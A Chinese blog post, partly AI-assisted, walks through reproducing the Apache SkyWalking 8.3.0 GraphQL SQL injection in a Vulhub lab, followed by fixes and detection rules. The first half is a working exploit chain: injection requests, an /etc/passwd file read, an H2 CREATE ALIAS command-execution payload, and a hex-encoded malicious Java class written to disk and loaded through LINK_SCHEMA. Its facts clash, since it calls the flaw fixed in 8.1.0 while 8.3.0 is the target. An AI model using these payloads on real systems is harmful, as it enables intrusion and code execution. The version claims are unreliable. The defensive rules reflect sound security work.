手把手教你用Vulhub复现skywalking 8.3.0-sqli漏洞(附完整POC)

0 阅读5分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析

漏洞原理(SQL Injection)

Apache SkyWalking 中存在的 SQL 注入漏洞主要发生在其GraphQL 元数据查询功能中,对用户输入的通配符查询参数没有正确参数化处理,会将恶意输入直接拼接到后台 SQL 查询中,从而使攻击者能够控制查询语句。

  • 漏洞分类为 CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL 注入)。
  • 当 SkyWalking 使用 H2、MySQL 或 TiDB 存储时,这些 SQL 注入问题尤其明显,因为实现中未正确设置 SQL 参数,导致攻击者可操纵查询逻辑。
  • 成功利用可能允许远程攻击者 执行任意 SQL 命令,泄露、修改或破坏存储中的敏感数据。 该问题已在 SkyWalking 8.1.0 中修复。 该漏洞的攻击链是一个典型的从 外部请求后端逻辑拼接 再到 数据库非法执行 的过程。

攻击场景流程图

  1. 攻击者构造请求:发送 POST 请求至 /graphql,在 condition 对象的 metricName 字段中注入 SQL 载荷。
  2. GraphQL 解析器:SkyWalking 的 OAP (Observability Analysis Platform) 服务器接收并解析 GraphQL 指令。
  3. H2/MySQL 持久化层:业务逻辑将 metricName 作为原始字符串拼接到 SQL 查询语句中。
  4. 数据库执行:数据库执行了带有注入指令的语句(如报错注入、时间盲注或 H2 特有的 RCE 指令)。
  5. 回显/获取权限:攻击者通过响应延迟或报错信息获取敏感数据。
┌────────────┐    ① 构造 GraphQL 查询:POST /graphql
│ 攻击者     │ ──→ 在 condition.metricName 中注入 SQL 载荷
└────────────┘     例如:{"metricName": "test' UNION SELECT ..."}
      │
      ▼
┌─────────────────────┐
│ SkyWalking OAP      │ 接收请求,解析 GraphQL
└─────────┬───────────┘
          │ ② 将 metricName 拼接到 SQL 语句
          ▼
┌─────────────────────┐
│ 数据库(H2/MySQL)  │ 执行恶意 SQL
└─────────┬───────────┘
          │ ③ 返回结果或错误信息
          ▼
┌─────────────────────┐
│ 攻击者获取敏感数据   │
└─────────────────────┘

DFD 威胁建模(Data Flow + STRIDE)

[External Attacker]
        |
        | (1) Malicious GraphQL Request
        v
[SkyWalking API Handler]
        |
        | (2) Injection point in SQL builder
        v
[Database Engine]
        |
        v
[Data Store: Traces/Metadata]


STRIDE 分析

威胁类别是否说明
Spoofing无需伪造身份凭证
Tampering查询语句被篡改
Repudiation⚠️攻击者操作难以区分
Information Disclosure可读取敏感数据
Denial of Service⚠️可耗尽资源
Elevation of Privilege⚠️可间接影响系统配置

漏洞复现原理图示说明

攻击时序图

sequenceDiagram
    participant A as 攻击者
    participant WS as Web服务器
    participant OAP as SkyWalking OAP
    participant GQL as GraphQL解析器
    participant BL as 业务逻辑层
    participant DB as 数据库
    participant SYS as 操作系统
    
    A->>WS: 1. POST /graphql
    Note over A: 请求体包含恶意GraphQL查询<br>metricName: "test' OR '1'='1"
    
    WS->>OAP: 2. 转发请求
    OAP->>GQL: 3. 解析GraphQL查询
    GQL->>BL: 4. 提取condition.metricName
    
    BL->>BL: 5. 拼接SQL语句
    Note over BL: 生成: SELECT * FROM metrics<br>WHERE name = 'test' OR '1'='1'
    
    BL->>DB: 6. 执行SQL查询
    
    alt H2数据库RCE
        DB->>DB: 7. 执行注入的H2命令
        DB->>SYS: 8. 执行系统命令
        SYS->>DB: 9. 返回命令结果
    else MySQL注入
        DB->>DB: 7. 执行SQL注入查询
        DB->>DB: 8. 获取数据库信息
    end
    
    DB->>BL: 10. 返回查询结果
    BL->>GQL: 11. 处理结果
    GQL->>OAP: 12. 组装GraphQL响应
    OAP->>WS: 13. 返回HTTP响应
    WS->>A: 14. 返回攻击结果
    
    Note over A: 根据响应获取敏感数据<br>或确认漏洞存在

标准 SQL 注入复现逻辑如下:

Input GraphQL:
{
  wildcardField: "%' OR '1'='1"
}
         |
SkyWalking builds SQL query:
SELECT * FROM table WHERE field LIKE '%'+input+'%'
         |
Database execution:
field LIKE '%%' OR '1'='1%'
         |
Attacker gets unexpected results or can chain other SQL commands

原理要点

  • 攻击者通过通配符和逻辑表达式掺入 SQL 控制结构
  • 未进行参数化的查询将这些用户输入嵌入语句
  • 数据库执行后可返回超出预期的数据或执行额外语句

漏洞产生于 LogQuery 的实现逻辑中,由于缺乏参数化查询,输入直接成为了 SQL 结构的一部分。 关键复现 Payload 示例:

{
  "query": "query queryLogs($condition: LogQueryCondition) { queryLogs(condition: $condition) { total logs { content } } }",
  "variables": {
    "condition": {
      "metricName": "sqli) OR 1=1--", 
      "state": "ALL",
      "paging": { "pageSize": 10 }
    }
  }
}
  • 注入点metricName 字段。
  • 原理:原本预期的 SQL 可能是 select ... from (select 1 from metric_name_table)。注入后变为 select ... from (select 1 from sqli) OR 1=1--),成功改变了查询逻辑。

漏洞原理示意图

SQL拼接漏洞原理


正常查询:
GraphQL查询: {
  query: {
    condition: {
      metricName: "cpu_usage"
    }
  }
}

生成的SQL: SELECT * FROM metrics WHERE name = 'cpu_usage'

存在漏洞的代码:
String sql = "SELECT * FROM metrics WHERE name = '" + metricName + "'";

攻击者注入:
metricName: "cpu_usage' UNION SELECT username, password FROM users -- "

生成的SQL: 
SELECT * FROM metrics WHERE name = 'cpu_usage' 
UNION SELECT username, password FROM users -- '

H2数据库RCE原理


H2数据库特性:
- 支持CREATE ALIAS创建Java函数
- 可以通过Java执行系统命令

攻击payload:
metricName: "test'; CREATE ALIAS EXEC SHELLCODE AS $$ String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\"); return s.hasNext() ? s.next() : \"\"; } $$; CALL EXEC('whoami') -- "

生成的SQLSELECT * FROM metrics WHERE name = 'test'; 
CREATE ALIAS EXEC SHELLCODE AS $$ 
String exec(String cmd) throws java.io.IOException { 
    java.util.Scanner s = new java.util.Scanner(
        Runtime.getRuntime().exec(cmd).getInputStream()
    ).useDelimiter("\\A"); 
    return s.hasNext() ? s.next() : ""; 
} $$; 
CALL EXEC('whoami') -- '

漏洞复现

发送以下的数据包。

POST /graphql HTTP/1.1
Host: 192.168.0.32:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"sqli",
            "state":"ALL",
            "paging":{
                "pageSize":10
            }
        }
    }
}

Snipaste_2026-02-06_16-23-01.png 可以看到SQLI表不存在。出现这种报错,说明存在SQL注入。

修改metricName参数的值:

INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where 1=1--

Snipaste_2026-02-06_17-50-25.png 这说明,我们可以通过sql注入读取网站文件信息。

import java.io.IOException;

public class evil {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {

    }
}

将以上代码保存为恶意代码evil.java,然后利用cursor或trae等agent模式将evil.java编译为evil.class,最后将evil.class转换为16进制数据。

INFORMATION_SCHEMA.USERS union  all select file_write('cafebabe0000003200230a000800140a001500160800170a001500180700190a0005001a07001b07001c0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001901000a536f7572636546696c650100096576696c2e6a6176610c0009000a07001d0c001e001f010012746f756368202f746d702f737563636573730c002000210100136a6176612f696f2f494f457863657074696f6e0c0022000a0100046576696c0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b547261636500210007000800000000000300010009000a0001000b0000001d00010001000000052ab70001b100000001000c000000060001000000030009000d000e0001000b000000190000000100000001b100000001000c0000000600010000000e0008000f000a0001000b0000004f0002000100000012b800021203b6000457a700084b2ab60006b1000100000009000c00050002000c0000001600050000000600090009000c0007000d00080011000a00100000000700024c0700110400010012000000020013','evil.class'))a where 1=1 --


Snipaste_2026-02-06_18-36-36.png

此时,Docker容器里面已经存在恶意软件evil.java。

Snipaste_2026-02-06_18-38-27.png

接着我们想方设法让evil.java能够在目标服务器上执行,通过下方的yakit数据包和上方的版本对比可以查看到/tmp/success上传成功。

INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=1 --

![[Snipaste_2026-02-06_18-36-48.png]]

溯源排查的思路和命令如下:

sudo find / -name "skywalking-oap-server.log" 2>/dev/null

cat /var/lib/docker/overlay2/77d6ac239cbbf6daadfa1be7be57637cba3efd2c562dd0564a057e8556b54a39/merged/mnt/skywalking/logs/skywalking-oap-server.log | grep -i metric --color -C5


Snipaste_2026-02-06_18-35-41.png

Snipaste_2026-02-06_18-34-51.png

或许该漏洞与 metersphere/CVE-2021-45788类似,参考以下命令。

sqlmap -r graph.txt --batch --dbms=hsqldb

修复建议

  1. 版本升级:立即升级至 SkyWalking 8.4.0 或更高版本。
  2. 参数化查询(根本解决):废弃字符串拼接,强制使用 PreparedStatement 占位符。
  3. 输入验证:对 metricName 进行白名单校验,仅允许符合监控指标命名规范的字符(如字母、数字、下划线)。
  4. 数据库加固:如果是 H2 数据库,确保关闭 CREATE ALIAS 等高危功能,并以低权限账号运行。

伪代码级修复示例

以下展示了从“危险拼接”到“安全参数化”的具体代码逻辑演变。

❌ 漏洞代码(拼接逻辑)

// 位于 H2LogQueryDAO 或相关持久化层
public LogTable queryLogs(LogQueryCondition condition) {
    String metricName = condition.getMetricName();
    // 危险:直接将用户输入的 metricName 拼接到 SQL 字符串中
    StringBuilder sql = new StringBuilder("select count(1) total from (select 1 from ");
    sql.append(metricName); // 直接拼接,导致注入
    sql.append(" where 1=1 ");
    
    if (StringUtil.isNotEmpty(condition.getState())) {
        sql.append(" and state = '").append(condition.getState()).append("'");
    }
    
    // 执行查询并返回结果...
    return executeQuery(sql.toString());
}

✅ 修复后代码(参数化 + 严格校验)

public LogTable queryLogs(LogQueryCondition condition) {
    String metricName = condition.getMetricName();

    // 1. 严格输入校验:只允许字母、数字和下划线,防止闭合括号或注入关键字
    if (!metricName.matches("^[a-zA-Z0-9_]+$")) {
        throw new IllegalArgumentException("Invalid metric name format.");
    }

    // 2. 使用占位符构建查询(注意:表名通常不能参数化,但必须经过白名单校验)
    // 对于可以参数化的条件(如 state),必须使用 PreparedStatement
    StringBuilder sql = new StringBuilder("select count(1) total from (select 1 from ");
    sql.append(metricName); // 此时 metricName 已通过正则校验,是安全的
    sql.append(" where 1=1 ");

    List<Object> parameters = new ArrayList<>();
    if (StringUtil.isNotEmpty(condition.getState())) {
        sql.append(" and state = ? "); // 使用问号占位符
        parameters.add(condition.getState());
    }

    // 3. 执行参数化查询
    return executeParameterizedQuery(sql.toString(), parameters.toArray());
}

修复方案1:参数化查询修复


// 修复前的漏洞代码
public class VulnerableMetricsDAO {
    public List<Metric> findMetricsByName(String metricName) {
        // 漏洞:直接字符串拼接
        String sql = "SELECT * FROM metrics WHERE name = '" + metricName + "'";
        return jdbcTemplate.query(sql, new MetricRowMapper());
    }
}

// 修复后的安全代码
public class SecureMetricsDAO {
    public List<Metric> findMetricsByName(String metricName) {
        // 使用参数化查询
        String sql = "SELECT * FROM metrics WHERE name = ?";
        return jdbcTemplate.query(sql, new Object[]{metricName}, new MetricRowMapper());
    }
    
    // 或者使用命名参数
    public List<Metric> findMetricsByNameSecure(String metricName) {
        String sql = "SELECT * FROM metrics WHERE name = :metricName";
        MapSqlParameterSource params = new MapSqlParameterSource();
        params.addValue("metricName", metricName);
        return namedParameterJdbcTemplate.query(sql, params, new MetricRowMapper());
    }
}

修复方案2:输入验证和清理


// GraphQL解析器安全加固
@Component
public class SecureGraphQLResolver implements GraphQLQueryResolver {
    
    private final MetricService metricService;
    private final SqlInjectionValidator validator;
    
    @GraphQLQuery
    public List<MetricValue> readMetricsValues(@GraphQLArgument(name = "condition") MetricCondition condition) {
        // 1. 输入验证
        if (!isValidMetricName(condition.getMetricName())) {
            throw new GraphQLException("Invalid metric name");
        }
        
        // 2. SQL注入检测
        if (validator.hasSqlInjection(condition.getMetricName())) {
            logSecurityAlert("SQL injection attempt", condition.getMetricName());
            throw new SecurityException("Potential SQL injection detected");
        }
        
        // 3. 长度限制
        if (condition.getMetricName().length() > 100) {
            throw new IllegalArgumentException("Metric name too long");
        }
        
        return metricService.getMetrics(condition);
    }
    
    private boolean isValidMetricName(String name) {
        // 白名单验证:只允许字母、数字、下划线、点号
        return name != null && name.matches("^[a-zA-Z0-9_.-]+$");
    }
}

// SQL注入检测器
@Component
public class SqlInjectionValidator {
    
    private static final Pattern[] SQL_INJECTION_PATTERNS = {
        Pattern.compile("(?i)(union|select|insert|update|delete|drop|alter|create)"),
        Pattern.compile("(?i)(--|#|/\\*|\\*/|;|'|\")"),
        Pattern.compile("(?i)(sleep|waitfor|benchmark)"),
        Pattern.compile("(?i)(exec|execute|xp_cmdshell)"),
        Pattern.compile("(?i)(information_schema|pg_catalog|sys\\.)")
    };
    
    public boolean hasSqlInjection(String input) {
        if (input == null) {
            return false;
        }
        
        for (Pattern pattern : SQL_INJECTION_PATTERNS) {
            if (pattern.matcher(input).find()) {
                return true;
            }
        }
        
        return false;
    }
}

修复方案3:数据库权限限制


-- 创建只读数据库用户
CREATE USER 'skywalking_ro'@'%' IDENTIFIED BY 'strong_password';
GRANT SELECT ON skywalking.* TO 'skywalking_ro'@'%';

-- 撤销危险权限
REVOKE ALL PRIVILEGES ON *.* FROM 'skywalking_app'@'%';
REVOKE GRANT OPTION ON skywalking.* FROM 'skywalking_app'@'%';

-- H2数据库安全配置(禁用危险函数)
-- 在H2连接URL中添加安全参数
jdbc:h2:~/skywalking;MODE=MySQL;DATABASE_TO_UPPER=false;INIT=RUNSCRIPT FROM 'init_secure.sql'

-- init_secure.sql 内容:
DROP ALIAS IF EXISTS EXEC;
DROP ALIAS IF EXISTS RUNCMD;
DROP ALIAS IF EXISTS SHELL;

修复方案4:GraphQL Schema安全配置


// 安全的GraphQL配置
@Configuration
public class SecureGraphQLConfig {
    
    @Bean
    public GraphQLSchema graphQLSchema(
            GraphQLQueryResolver queryResolver,
            GraphQLMutationResolver mutationResolver) {
        
        return GraphQLSchema.newSchema()
            .query(createQueryType(queryResolver))
            .mutation(createMutationType(mutationResolver))
            // 添加安全指令
            .additionalDirective(new RateLimitDirective())
            .additionalDirective(new SanitizeDirective())
            // 限制查询复杂度
            .maximumQueryDepth(10)
            .maximumQueryComplexity(1000)
            .build();
    }
    
    // 添加查询深度限制
    @Bean
    public GraphQL graphQL(GraphQLSchema graphQLSchema) {
        return GraphQL.newGraphQL(graphQLSchema)
            .instrumentation(new MaxQueryDepthInstrumentation(10))
            .instrumentation(new MaxQueryComplexityInstrumentation(1000))
            .preparsedDocumentProvider(new CachedPreparsedDocumentProvider())
            .build();
    }
}

修复方案5:WAF和网络层防护


# Nginx配置防护规则
http {
    # 限制请求体大小
    client_max_body_size 1m;
    
    # GraphQL端点特殊防护
    location /graphql {
        # 启用WAF模块
        modsecurity on;
        modsecurity_rules_file /etc/nginx/modsec/main.conf;
        
        # 限制请求频率
        limit_req zone=graphql_limit burst=10 nodelay;
        
        # 检查Content-Type
        if ($content_type != "application/json") {
            return 415;
        }
        
        # 检测SQL注入特征
        set $block_sql 0;
        
        if ($request_body ~* "(union|select|insert|update|delete|drop|alter).*from.*information_schema") {
            set $block_sql 1;
        }
        
        if ($request_body ~* "(exec|execute|xp_cmdshell|shell|cmd)") {
            set $block_sql 1;
        }
        
        if ($request_body ~* "--|#|/\\*|\\*/|;") {
            set $block_sql 1;
        }
        
        if ($block_sql = 1) {
            return 403;
        }
        
        proxy_pass http://skywalking_oap:12800;
    }
    
    # 创建限流zone
    limit_req_zone $binary_remote_addr zone=graphql_limit:10m rate=5r/s;
}

基于该漏洞的检测与防护规则

虽然 SkyWalking SQL 注入更多是内部存储层缺陷,但可以从 Web 请求/GraphQL 请求层面部署检测规则进行防护。

  1. IDS/IPS规则示例 针对该漏洞,WAF 应重点关注 GraphQL 接口中的 JSON 载荷:
  • 匹配路径/graphql
  • 匹配特征:在 POST 请求体中,定位 metricName 键值对。
  • 拦截关键字:检查值中是否包含 ), --, UNION, SELECT, SLEEP(, CAST( 等 SQL 注入特征字符。
# Suricata规则
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"SKYWALKING GraphQL SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/graphql"; http_uri;
    content:"application/json"; http_content_type;
    content:"metricName"; http_client_body;
    pcre:"/metricName[\"']?\s*:\s*[\"'][^\"']*['\"]\s*(union|select|insert|update|delete|drop|alter|exec|execute|xp_cmdshell|sleep|waitfor|benchmark|information_schema)/i";
    classtype:web-application-attack;
    sid:2024003;
    rev:2;
)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"SKYWALKING H2 Database RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/graphql"; http_uri;
    content:"CREATE ALIAS"; http_client_body;
    content:"Runtime.getRuntime"; http_client_body;
    content:"exec"; http_client_body;
    classtype:attempted-admin;
    sid:2024004;
    rev:1;
)

  1. 应用层监控规则
# SkyWalking SQL注入检测脚本
import json
import re
from datetime import datetime

class SkyWalkingSecurityMonitor:
    
    SQL_INJECTION_PATTERNS = [
        r"union.*select",
        r"select.*from.*information_schema",
        r"exec\(.*\)",
        r"xp_cmdshell",
        r";\s*CREATE\s+ALIAS",
        r"Runtime\.getRuntime\(\)\.exec",
        r"sleep\([0-9]+\)",
        r"benchmark\([0-9]+,",
        r"' OR '1'='1",
        r"1' AND '1'='1",
    ]
    
    def __init__(self, log_file):
        self.log_file = log_file
        self.compiled_patterns = [re.compile(p, re.IGNORECASE) 
                                 for p in self.SQL_INJECTION_PATTERNS]
    
    def analyze_graphql_request(self, request_body):
        """分析GraphQL请求是否包含SQL注入"""
        try:
            data = json.loads(request_body)
            
            # 检查metricName字段
            if 'variables' in data and 'condition' in data['variables']:
                condition = data['variables']['condition']
                if 'metricName' in condition:
                    metric_name = condition['metricName']
                    
                    for pattern in self.compiled_patterns:
                        if pattern.search(metric_name):
                            return {
                                'threat': 'SQL_INJECTION',
                                'metric_name': metric_name,
                                'pattern': pattern.pattern,
                                'timestamp': datetime.now().isoformat()
                            }
            
            return None
            
        except json.JSONDecodeError:
            return {'error': 'Invalid JSON'}
    
    def monitor_logs(self):
        """监控日志文件检测攻击"""
        alerts = []
        
        with open(self.log_file, 'r') as f:
            for line in f:
                if '/graphql' in line and 'metricName' in line:
                    alert = self.analyze_graphql_request(line)
                    if alert:
                        alerts.append(alert)
        
        return alerts

# 使用示例
monitor = SkyWalkingSecurityMonitor('/var/log/skywalking/access.log')
alerts = monitor.monitor_logs()
for alert in alerts:
    print(f"安全警报: {alert}")

基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,对所有进入 SkyWalking OAP 的请求进行预处理,拦截包含 SQL 注入特征的 GraphQL 查询。

1.1 Flask 中间件:检测 GraphQL 请求体中的注入特征

# skywalking_proxy.py
import re
import json
import time
from flask import Flask, request, abort, jsonify

app = Flask(__name__)

# 敏感路径
SENSITIVE_PATHS = ['/graphql']

# SQL 注入特征正则
SQLI_PATTERNS = [
    re.compile(r'if\s*\(', re.I),
    re.compile(r'sleep\s*\(', re.I),
    re.compile(r'union\s+select', re.I),
    re.compile(r'select\s+.*\s+from', re.I),
    re.compile(r'insert\s+into', re.I),
    re.compile(r'update\s+.*\s+set', re.I),
    re.compile(r'delete\s+from', re.I),
    re.compile(r'drop\s+table', re.I),
    re.compile(r'create\s+alias', re.I),  # H2 RCE
    re.compile(r'--', re.I),
    re.compile(r'#', re.I),
    re.compile(r';', re.I),
    re.compile(r"'", re.I),
]

def extract_graphql_fields(data):
    """递归提取 GraphQL 查询中的字符串字段值"""
    fields = []
    if isinstance(data, dict):
        for key, value in data.items():
            if isinstance(value, str):
                fields.append(value)
            else:
                fields.extend(extract_graphql_fields(value))
    elif isinstance(data, list):
        for item in data:
            fields.extend(extract_graphql_fields(item))
    return fields

def check_graphql_for_injection(request_body):
    """检查 GraphQL 请求体是否包含 SQL 注入特征"""
    try:
        data = json.loads(request_body)
        # 提取所有字符串值
        values = extract_graphql_fields(data)
        for val in values:
            for pattern in SQLI_PATTERNS:
                if pattern.search(val):
                    return True
    except:
        pass
    return False

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=20, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 只处理 /graphql 路径
    if request.path not in SENSITIVE_PATHS:
        return

    # 2. 检查请求体是否为 JSON
    if request.is_json:
        body = request.get_data(as_text=True)
        if check_graphql_for_injection(body):
            log_attack(request, 'sqli_in_graphql', body[:200])
            abort(403, description='Malicious GraphQL query detected')

    # 3. 速率限制(防止扫描)
    if rate_limit(request.remote_addr):
        abort(429, description='Too many requests')

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type, payload):
    with open('skywalking_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")

# 转发请求到后端 SkyWalking OAP
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发到 SkyWalking OAP(如 http://localhost:12800)
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

基于 TensorFlow 的异常行为检测

利用机器学习模型识别针对 SkyWalking 的异常请求模式,特别是 GraphQL 查询中的异常字符串内容。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • is_graphql: 是否访问 /graphql (0/1)
  • body_length: 请求体长度
  • string_count: 请求体中字符串值的数量
  • max_string_length: 最长字符串的长度
  • special_char_ratio: 所有字符串中特殊字符的比例
  • has_union: 是否包含 union select (0/1)
  • has_sleep: 是否包含 sleep 函数 (0/1)
  • has_h2_rce: 是否包含 create alias (0/1)
  • hour: 请求小时
  • ip_reputation: IP 信誉分
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1,SkyWalking 可能无需认证)
def extract_features(request_entry, history):
    features = [
        len(request_entry['path']),
        1 if request_entry['path'] == '/graphql' else 0,
        request_entry.get('body_length', 0),
        request_entry.get('string_count', 0),
        request_entry.get('max_string_length', 0),
        request_entry.get('special_char_ratio', 0),
        request_entry.get('has_union', 0),
        request_entry.get('has_sleep', 0),
        request_entry.get('has_h2_rce', 0),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('skywalking_sqli_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('skywalking_sqli_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存获取历史统计(如Redis)
    return {'freq_10min': 0}

def ip_reputation(ip):
    return 0

@app.before_request
def before_request():
    # ... 之前的基础检测 ...

    if request.path == '/graphql' and request.is_json:
        body = request.get_data(as_text=True)
        try:
            data = json.loads(body)
            strings = extract_graphql_fields(data)
            string_count = len(strings)
            max_len = max((len(s) for s in strings), default=0)
            special_ratio = sum(not c.isalnum() for s in strings for c in s) / (sum(len(s) for s in strings) + 1)
            has_union = 1 if any('union select' in s.lower() for s in strings) else 0
            has_sleep = 1 if any('sleep' in s.lower() for s in strings) else 0
            has_h2 = 1 if any('create alias' in s.lower() for s in strings) else 0
        except:
            string_count = 0
            max_len = 0
            special_ratio = 0
            has_union = 0
            has_sleep = 0
            has_h2 = 0

        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'body_length': len(body),
            'string_count': string_count,
            'max_string_length': max_len,
            'special_char_ratio': special_ratio,
            'has_union': has_union,
            'has_sleep': has_sleep,
            'has_h2_rce': has_h2,
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': False,
            'timestamp': datetime.now()
        }

        history = get_ip_history(request.remote_addr)
        if predict_anomaly(request_entry, history):
            log_attack(request, 'ml_anomaly', body[:200])
            abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截对 SkyWalking GraphQL 接口的 SQL 注入尝试。 3.1 基础规则

# modsecurity_crs_78_skywalking_sqli.conf

# 规则1:检测 GraphQL 请求体中的 SQL 关键字
SecRule REQUEST_BODY "@rx (?i)(union\s+select|select\s+.*\s+from|insert\s+into|update\s+.*\s+set|delete\s+from|drop\s+table|create\s+alias|sleep\s*\()" \
    "id:1015001,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'SkyWalking SQL injection attempt in GraphQL',\
    logdata:'Matched: %{MATCHED_VAR}',\
    tag:'attack-sqli',\
    tag:'skywalking',\
    severity:'CRITICAL'"

# 规则2:检测注释符或分号
SecRule REQUEST_BODY "@rx (--|#|;)" \
    "id:1015002,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'SkyWalking SQL injection - suspicious characters',\
    tag:'attack-sqli',\
    severity:'HIGH'"

# 规则3:对 /graphql 端点进行速率限制
SecRule REQUEST_URI "@beginsWith /graphql" \
    "id:1015003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'SkyWalking GraphQL rate limiting',\
    setvar:'tx.skywalking_graphql_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.skywalking_graphql_counter_%{REMOTE_ADDR}=60'"
SecRule TX:skywalking_graphql_counter_%{REMOTE_ADDR} "@gt 30" \
    "id:1015004,\
    phase:1,\
    block,\
    msg:'Too many GraphQL requests',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name skywalking.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location /graphql {
        proxy_pass http://skywalking-oap:12800/graphql;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:Apache SkyWalking SQL 注入漏洞通过 GraphQL 接口注入恶意 SQL。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用受影响版本的用户立即采取行动。 参考文章: [1]Apache Skywalking – Zgao's blog zgao.top/apache-skyw…